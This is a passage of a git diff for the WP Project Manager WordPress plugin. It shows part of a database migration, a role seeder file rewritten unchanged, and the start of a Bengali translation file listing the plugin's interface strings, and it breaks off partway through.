NOT NULL, + `local_id` varchar(150) NOT NULL, + `creator_id` int(15) UNSIGNED DEFAULT NULL, + `source` varchar(30) NOT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + + public function update_version() + { + delete_option('cpm_version'); + update_option('pm_version', config('app.version')); + + // record the activation date/time if not exists + $installed = get_option('pm_installed'); + + if (!$installed) { + update_option('pm_installed', time()); + } + } +} diff --git a/db/seeds/RoleTableSeeder.php b/db/seeds/RoleTableSeeder.php index 41d5d841a..0ea1feadb 100644 --- a/db/seeds/RoleTableSeeder.php +++ b/db/seeds/RoleTableSeeder.php @@ -1,63 +1,63 @@ - __( 'Manager', 'wedevs-project-manager' ), - 'slug' => 'manager', - 'description' => __( 'Manager is a person who manages the project.', 'wedevs-project-manager' ), - 'status' => 1, - 'created_by' => $user->ID, - 'updated_by' => $user->ID, - 'created_at' => Carbon::now(), - 'updated_at' => Carbon::now(), - ], - [ - 'title' => __( 'Co-Worker', 'wedevs-project-manager' ), - 'slug' => 'co_worker', - 'description' => __( 'Co-worker is person who works under a project.', 'wedevs-project-manager' ), - 'status' => 1, - 'created_by' => $user->ID, - 'updated_by' => $user->ID, - 'created_at' => Carbon::now(), - 'updated_at' => Carbon::now(), - ], - ]); - } - - - // $mc = Settings::where( 'key', 'managing_capability' )->get(); - // $pcc = Settings::where( 'key', 'project_create_capability' )->get(); - // if ( $mc->isEmpty() ){ - // Settings::firstOrCreate([ - // 'key' => 'managing_capability', - // 'value' => array('administrator', 'editor', 'author') - // ]); - // } - // if ( $pcc->isEmpty() ) { - // Settings::firstOrCreate([ - // 'key' => 'project_create_capability', - // 'value' => array('administrator', 'editor', 'author') - // ]); - // } - - } - -} + __( 'Manager', 'wedevs-project-manager' ), + 'slug' => 'manager', + 'description' => __( 'Manager is a person who manages the project.', 'wedevs-project-manager' ), + 'status' => 1, + 'created_by' => $user->ID, + 'updated_by' => $user->ID, + 'created_at' => Carbon::now(), + 'updated_at' => Carbon::now(), + ], + [ + 'title' => __( 'Co-Worker', 'wedevs-project-manager' ), + 'slug' => 'co_worker', + 'description' => __( 'Co-worker is person who works under a project.', 'wedevs-project-manager' ), + 'status' => 1, + 'created_by' => $user->ID, + 'updated_by' => $user->ID, + 'created_at' => Carbon::now(), + 'updated_at' => Carbon::now(), + ], + ]); + } + + + // $mc = Settings::where( 'key', 'managing_capability' )->get(); + // $pcc = Settings::where( 'key', 'project_create_capability' )->get(); + // if ( $mc->isEmpty() ){ + // Settings::firstOrCreate([ + // 'key' => 'managing_capability', + // 'value' => array('administrator', 'editor', 'author') + // ]); + // } + // if ( $pcc->isEmpty() ) { + // Settings::firstOrCreate([ + // 'key' => 'project_create_capability', + // 'value' => array('administrator', 'editor', 'author') + // ]); + // } + + } + +} diff --git a/languages/wedevs-project-manager-bn_BD.po b/languages/wedevs-project-manager-bn_BD.po index 9e4f5a16e..c3240f9d3 100644 --- a/languages/wedevs-project-manager-bn_BD.po +++ b/languages/wedevs-project-manager-bn_BD.po @@ -1,2852 +1,2852 @@ -# Copyright (C) 2020 weDevs -# This file is distributed under the GPL2. -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager 2.3.10\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2020-06-12 04:18:38+00:00\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"PO-Revision-Date: 2020-06-15 06:34+0000\n" -"Language-Team: বাংলা\n" -"X-Generator: Loco https://localise.biz/\n" -"Last-Translator: \n" -"Plural-Forms: nplurals=2; plural=(n==0 || n==1);\n" -"Language: bn_BD\n" -"X-Loco-Version: 2.4.0; wp-5.4.2" - -#: core/Admin_Notice/Admin_Notice.php:33 -msgid "UPDATE REQUIRED" -msgstr "আধুনিকীকরণ আবশ্যক" - -#: core/Admin_Notice/Admin_Notice.php:35 -msgid "" -"WP Project Manager Pro is not working because you are using an old version " -"of WP Project Manager Pro. Please update" -msgstr "" - -#: core/Admin_Notice/Admin_Notice.php:37 -msgid "WP Project Manager Pro" -msgstr "" - -#: core/Admin_Notice/Admin_Notice.php:39 -msgid "to >= v2.0.12" -msgstr "" - -#: core/Admin_Notice/Admin_Notice.php:42 -msgid "to work with the latest version of WP Project Manager" -msgstr "" - -#: core/Admin_Notice/Admin_Notice.php:45 -msgid "Update WP Project Manager Pro Now" -msgstr "" - -#: core/Admin_Notice/Admin_Notice.php:49 -msgid "Update WP Project Manager Pro NOW" -msgstr "" - -#: core/Admin_Notice/Admin_Notice.php:172 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/Admin_Notice/Admin_Notice.php:173 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/Admin_Notice/Admin_Notice.php:182 -msgid "Read Docs" -msgstr "" - -#: core/Notifications/Emails/Complete_Task_Notification.php:44 -msgid "[%s] %s Task mark as %s in %s" -msgstr "" - -#: core/Notifications/Emails/New_Comment_Notification.php:55 -#: core/Notifications/Emails/Update_Comment_Notification.php:54 -#: src/Pusher/libs/action.php:476 views/emails/html/new-message.php:39 -#: views/emails/html/update-message.php:39 -msgid "Message" -msgstr "বার্তা" - -#: core/Notifications/Emails/New_Comment_Notification.php:60 -#: core/Notifications/Emails/Update_Comment_Notification.php:57 -#: src/Task/Helper/Task.php:96 views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/complete-task.vue:21 -#: views/assets/src/components/my-tasks/current-task.vue:21 -#: views/assets/src/components/my-tasks/outstanding-task.vue:21 -#: views/assets/src/components/project-task-lists/lists.vue:239 -msgid "Task List" -msgstr "কার্য তালিকা" - -#: core/Notifications/Emails/New_Comment_Notification.php:65 -#: core/Notifications/Emails/Update_Comment_Notification.php:60 -#: src/Pusher/libs/action.php:92 src/Pusher/libs/action.php:97 -#: src/Pusher/libs/action.php:165 src/Pusher/libs/action.php:168 -#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/globally-task-create-form.vue:51 -#: views/assets/src/components/my-tasks/new-task.vue:84 -#: views/assets/src/components/project-overview/directive.js:10 -msgid "Task" -msgstr "" - -#: core/Notifications/Emails/New_Comment_Notification.php:70 -msgid "File" -msgstr "" - -#: core/Notifications/Emails/New_Comment_Notification.php:83 -msgid "[%s][%s] New Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/New_Message_Notification.php:49 -msgid "[%s][%s] New Message: %s" -msgstr "" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "" - -#: core/Notifications/Emails/New_Task_Notification.php:43 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Comment_Notification.php:51 -msgid "[%s][%s] Update Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Message_Notification.php:47 -msgid "[%s][%s] Update Message: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Project_Notification.php:24 -msgid "[%s] Updated Project: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Task_Notification.php:42 -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "" - -#: core/Permissions/Access_Project.php:24 -#: core/Permissions/Create_Discuss.php:19 -#: core/Permissions/Create_Milestone.php:18 core/Permissions/Create_Task.php:18 -#: core/Permissions/Create_Task_List.php:19 core/Permissions/Delete_Task.php:27 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "" - -#: core/Permissions/Complete_Task.php:36 -msgid "You have no permission to change task status." -msgstr "" - -#: core/Permissions/Create_File.php:18 -msgid "You have no permission to create message." -msgstr "" - -#: core/Permissions/Project_Create_Capability.php:17 -msgid "You have no permission to create project." -msgstr "" - -#: core/Promotions/Offers.php:47 -msgid "" -"

In this Christmas, stay on top of budgets. Spend 30%% " -"LESS on WP Project Manager Pro and increase " -"productivity for you and your organization. [Limited time ⏳😎]

Grab The " -"Deal

" -msgstr "" - -#: core/Promotions/Offers.php:199 core/Promotions/Wedevs_Promotion.php:190 -msgid "Invalid nonce" -msgstr "" - -#: core/Promotions/Offers.php:203 core/Promotions/Wedevs_Promotion.php:194 -msgid "You have no permission to do that" -msgstr "" - -#: core/Promotions/Promotions.php:42 -msgid "Visualize all the task progress and get full insights" -msgstr "" - -#: core/Promotions/Promotions.php:43 -msgid "" -"Leverage the Gantt chart feature in your WP Project Manager Pro. Get exact " -"progress illustration of all tasks, and never miss a deadline." -msgstr "" - -#: core/Promotions/Promotions.php:50 -msgid "Get more organized and more efficient in Kanban Style" -msgstr "" - -#: core/Promotions/Promotions.php:51 -msgid "" -"Utilize the popular Kanban method and improve your workflow significantly. " -"Segment your tasks into a different category and utilize the most of project " -"management tools." -msgstr "" - -#: core/Promotions/Promotions.php:58 -msgid "Time wastage is not an option!" -msgstr "" - -#: core/Promotions/Promotions.php:59 -msgid "" -"Time is money! So make the most out of it. Use the advanced time tracker " -"extension to get accurate insights about time management." -msgstr "" - -#: core/Promotions/Promotions.php:66 -msgid "Small things bring great achievements!" -msgstr "" - -#: core/Promotions/Promotions.php:67 -msgid "" -"Breakdown your main task into smaller parts and set milestones for them. " -"Complete big tasks successfully easier than ever." -msgstr "" - -#: core/Promotions/Wedevs_Promotion.php:82 -msgid "Learn More →" -msgstr "" - -#: core/Upgrades/Upgrade.php:150 -msgid "WP Project Manager Data Update Required" -msgstr "" - -#: core/Upgrades/Upgrade.php:151 -msgid "– Please click the button below to update to the latest version." -msgstr "" - -#: core/Upgrades/Upgrade.php:155 -msgid "Run the Update" -msgstr "" - -#: core/Upgrades/Upgrade.php:156 -msgid "Read More" -msgstr "" - -#: core/Upgrades/Upgrade.php:164 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -#: core/Upgrades/Upgrade_2_2.php:33 -#: src/Project/Controllers/Project_Controller.php:427 -msgid "Inbox" -msgstr "" - -#: core/Upgrades/Upgrade_2_2.php:34 -#: src/Project/Controllers/Project_Controller.php:428 views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/lists.vue:109 -#: views/assets/src/components/project-task-lists/lists.vue:194 -msgid "" -"This is a system default task list. Any task without an assigned tasklist " -"will appear here." -msgstr "" - -#: core/WP/Enqueue_Scripts.php:68 -msgid "Allowed Files" -msgstr "" - -#: core/WP/Frontend.php:183 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:228 -msgid "Get Pro" -msgstr "" - -#: core/WP/Frontend.php:231 core/WP/Menu.php:44 -msgid "Settings" -msgstr "" - -#: core/WP/Frontend.php:232 -msgid "Documentation" -msgstr "" - -#: core/WP/Frontend.php:276 core/WP/Frontend.php:289 -msgid "Create New Task" -msgstr "" - -#: core/WP/Frontend.php:305 -msgid "Jump to a project" -msgstr "" - -#: core/WP/Menu.php:20 libs/functions.php:928 views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/header.vue:10 -msgid "Project Manager" -msgstr "প্রকল্প ব্যবস্থাপক" - -#: core/WP/Menu.php:22 views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/complete-task.vue:22 -#: views/assets/src/components/my-tasks/current-task.vue:22 -#: views/assets/src/components/my-tasks/outstanding-task.vue:22 -#: views/assets/src/components/project-lists/router.js:42 -msgid "Projects" -msgstr "" - -#: core/WP/Menu.php:25 -msgid "My Tasks %s" -msgstr "" - -#: core/WP/Menu.php:29 views/assets/js/pm.js:9 -#: views/assets/src/components/categories/categories.vue:3 -#: views/assets/src/components/categories/router.js:21 -msgid "Categories" -msgstr "" - -#: core/WP/Menu.php:33 -msgid "Premium" -msgstr "" - -#: core/WP/Menu.php:48 -msgid "Tools" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -msgid "Category title is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:11 -msgid "Category ID is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category ID must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -msgid "Comment title is required." -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:12 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project ID is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -msgid "Comment ID is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment ID must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -msgid "Discussion title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -msgid "Discussion ID is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discussion ID must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:100 -msgid "file not found" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -msgid "Milestone title is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:11 -msgid "Milestone ID is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone ID must be greater than zero" -msgstr "" - -#: src/Project/Controllers/Project_Controller.php:406 -msgid "The project has been marked as favorite" -msgstr "" - -#: src/Project/Controllers/Project_Controller.php:409 -msgid "The project has been removed from favorite" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -#: views/assets/src/components/project-lists/project-create-form.vue:244 -#: views/assets/src/components/project-overview/mixin.js:26 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Create_Project.php:11 -#: src/Project/Validators/Update_Project.php:11 -msgid "Project title must be unique." -msgstr "" - -#: src/Project/Validators/Update_Project.php:13 -msgid "Project ID must be greater than zero" -msgstr "" - -#: src/Pusher/libs/action.php:50 -msgid "You've been assigned a new" -msgstr "" - -#: src/Pusher/libs/action.php:50 src/Pusher/libs/action.php:51 -#: src/Pusher/libs/action.php:219 src/Pusher/libs/action.php:300 -#: texts/resource_types.php:14 -msgid "task" -msgstr "" - -#: src/Pusher/libs/action.php:51 -msgid "You've assigned in" -msgstr "" - -#: src/Pusher/libs/action.php:92 src/Pusher/libs/action.php:93 -msgid "has been completed" -msgstr "" - -#: src/Pusher/libs/action.php:97 src/Pusher/libs/action.php:98 -msgid "has been re-opened" -msgstr "" - -#: src/Pusher/libs/action.php:158 -msgid "title" -msgstr "" - -#: src/Pusher/libs/action.php:160 -msgid "description" -msgstr "" - -#: src/Pusher/libs/action.php:162 views/emails/html/complete-task.php:35 -#: views/emails/html/new-task.php:24 views/emails/html/update-task.php:24 -msgid "due date" -msgstr "" - -#: src/Pusher/libs/action.php:165 src/Pusher/libs/action.php:166 -#: src/Pusher/libs/action.php:168 src/Pusher/libs/action.php:169 -#: src/Pusher/libs/action.php:476 -msgid "has been updated" -msgstr "" - -#: src/Pusher/libs/action.php:211 src/Pusher/libs/action.php:292 -#: texts/resource_types.php:11 -msgid "task list" -msgstr "কার্য তালিকা" - -#: src/Pusher/libs/action.php:225 src/Pusher/libs/action.php:305 -#: texts/resource_types.php:23 -msgid "file" -msgstr "" - -#: src/Pusher/libs/action.php:233 src/Pusher/libs/action.php:313 -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "আলোচনা বোর্ড" - -#: src/Pusher/libs/action.php:245 src/Pusher/libs/action.php:253 -msgid "commented on a" -msgstr "" - -#: src/Pusher/libs/action.php:325 -msgid "updated comment on a" -msgstr "" - -#: src/Pusher/libs/action.php:351 -msgid "updated his comment on a" -msgstr "" - -#: src/Pusher/libs/action.php:408 -msgid "started a new discussion on" -msgstr "" - -#: src/Pusher/libs/action.php:432 -msgid "You've got a new" -msgstr "" - -#: src/Pusher/libs/action.php:432 -msgid "messsage" -msgstr "" - -#: src/Pusher/libs/action.php:453 -msgid "updated discussion on a" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -msgid "Role title is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:11 -msgid "Role ID is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role ID must be greater than zero" -msgstr "" - -#: src/Search/Controllers/Search_Controller.php:84 -#: src/Search/Controllers/Search_Controller.php:127 views/assets/js/pm.js:9 -#: views/assets/src/components/project-files/files.vue:57 -#: views/assets/src/components/project-task-lists/lists.vue:206 -#: views/assets/src/components/project-task-lists/lists.vue:217 -#: views/assets/src/components/project-task-lists/lists.vue:999 -msgid "No results found." -msgstr "" - -#: src/Settings/Controllers/Settings_Controller.php:125 -msgid "Delete settings record" -msgstr "" - -#: src/Task/Controllers/Task_Controller.php:1275 -msgid "Copy " -msgstr "" - -#: src/Task/Helper/Task.php:96 views/assets/js/pm.js:9 -#: views/assets/src/components/my-tasks/complete-task.vue:7 -#: views/assets/src/components/my-tasks/current-task.vue:7 -#: views/assets/src/components/my-tasks/my-task-header.vue:20 -#: views/assets/src/components/my-tasks/my-tasks.vue:5 -#: views/assets/src/components/my-tasks/outstanding-task.vue:7 -#: views/assets/src/components/my-tasks/overview.vue:54 -#: views/assets/src/components/my-tasks/overview.vue:62 -#: views/assets/src/components/my-tasks/overview.vue:70 -#: views/assets/src/components/project-overview/overview.vue:58 -msgid "Tasks" -msgstr "" - -#: src/Task/Helper/Task.php:96 -msgid "Project Name" -msgstr "" - -#: src/Task/Helper/Task.php:97 views/assets/js/pm.js:9 views/assets/js/pm.js:34 -#: views/assets/src/components/common/list-filter.vue:63 -#: views/assets/src/components/my-tasks/current-task.vue:24 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/lists.vue:282 -#: views/assets/src/components/project-task-lists/new-task-form.vue:280 -msgid "Due Date" -msgstr "" - -#: src/Task/Helper/Task.php:97 -msgid "Created At" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:11 -msgid "Task ID is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:12 -msgid "Task ID must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -msgid "Task list title is required." -msgstr "কার্য তালিকা" - -#: src/Task_List/Validators/Update_Task_List.php:11 -msgid "Task list ID is required." -msgstr "" - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list ID must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s." -msgstr "" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "%1$s has deleted a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:48 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:56 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:60 -msgid "%1$s has updated the status of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has deleted a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:74 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:78 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:82 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:86 -msgid "%1$s has archived a task list, %2$s." -msgstr "" - -#: texts/activities.php:90 -msgid "%1$s has restored a task list, %2$s." -msgstr "" - -#: texts/activities.php:96 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:100 -msgid "%1$s has deleted a milestone, %2$s." -msgstr "" - -#: texts/activities.php:104 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:108 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:112 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:116 -msgid "%1$s has updated the status of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has deleted a task, %2$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:138 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:142 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:146 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:150 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:154 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:158 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:162 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:166 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:172 -msgid "%1$s has commented on a task, %2$s." -msgstr "" - -#: texts/activities.php:176 -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "" - -#: texts/activities.php:180 -msgid "%1$s has deleted a comment on a task, %2$s." -msgstr "" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "" - -#: texts/activities.php:192 -msgid "%1$s has deleted a reply comment on a task, %2$s." -msgstr "" - -#: texts/activities.php:198 -msgid "%1$s has commented on a task list, %2$s." -msgstr "" - -#: texts/activities.php:202 -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "" - -#: texts/activities.php:206 -msgid "%1$s has deleted a comment on a task list, %2$s." -msgstr "" - -#: texts/activities.php:210 -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "" - -#: texts/activities.php:214 -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "" - -#: texts/activities.php:218 -msgid "%1$s has deleted a reply comment on a task list, %2$s." -msgstr "" - -#: texts/activities.php:224 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:228 -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:232 -msgid "%1$s has deleted a comment on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:236 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:240 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:244 -msgid "%1$s has deleted a reply comment on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:250 -msgid "%1$s has commented on a milestone, %2$s." -msgstr "" - -#: texts/activities.php:254 -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "" - -#: texts/activities.php:258 -msgid "%1$s has deleted a comment on a milestone, %2$s." -msgstr "" - -#: texts/activities.php:262 -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "" - -#: texts/activities.php:266 -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "" - -#: texts/activities.php:270 -msgid "%1$s has deleted a reply comment on a milestone, %2$s." -msgstr "" - -#: texts/activities.php:276 -msgid "%1$s has commented on the project, %2$s." -msgstr "" - -#: texts/activities.php:280 -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "" - -#: texts/activities.php:284 -msgid "%1$s has deleted a comment on the project, %2$s." -msgstr "" - -#: texts/activities.php:288 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -#: texts/activities.php:292 -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "" - -#: texts/activities.php:296 -msgid "%1$s has deleted a reply comment on the project, %2$s." -msgstr "" - -#: texts/activities.php:302 -msgid "%1$s has commented on a file, %2$s." -msgstr "" - -#: texts/activities.php:306 -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "" - -#: texts/activities.php:310 -msgid "%1$s has deleted a comment on a file, %2$s." -msgstr "" - -#: texts/activities.php:314 -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "" - -#: texts/activities.php:318 -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "" - -#: texts/activities.php:322 -msgid "%1$s has deleted a reply comment on a file, %2$s." -msgstr "" - -#: texts/activities.php:328 -msgid "%1$s has duplicated project from, %2$s." -msgstr "" - -#: texts/activities.php:332 -msgid "%1$s has duplicated list from, %2$s." -msgstr "" - -#: texts/resource_types.php:5 -msgid "project" -msgstr "" - -#: texts/resource_types.php:17 -msgid "milestone" -msgstr "" - -#: texts/resource_types.php:20 -msgid "comment" -msgstr "" - -#: texts/success_messages.php:6 -msgid "A new project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A new category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "" - -#: texts/success_messages.php:62 -msgid "A task list has been updated successfully." -msgstr "" - -#: texts/success_messages.php:65 -msgid "A task list has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "" - -#: texts/success_messages.php:72 -msgid "A task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "A task has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -#: texts/success_messages.php:81 -msgid "No elements found." -msgstr "" - -#: texts/success_messages.php:84 views/assets/js/pm.js:9 -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -#: vendor/appsero/client/src/Insights.php:369 -msgid "" -"Want to help make %1$s even more awesome? Allow %1$s to " -"collect non-sensitive diagnostic data and usage information." -msgstr "" - -#: vendor/appsero/client/src/Insights.php:374 -msgid "what we collect" -msgstr "" - -#: vendor/appsero/client/src/Insights.php:381 -msgid 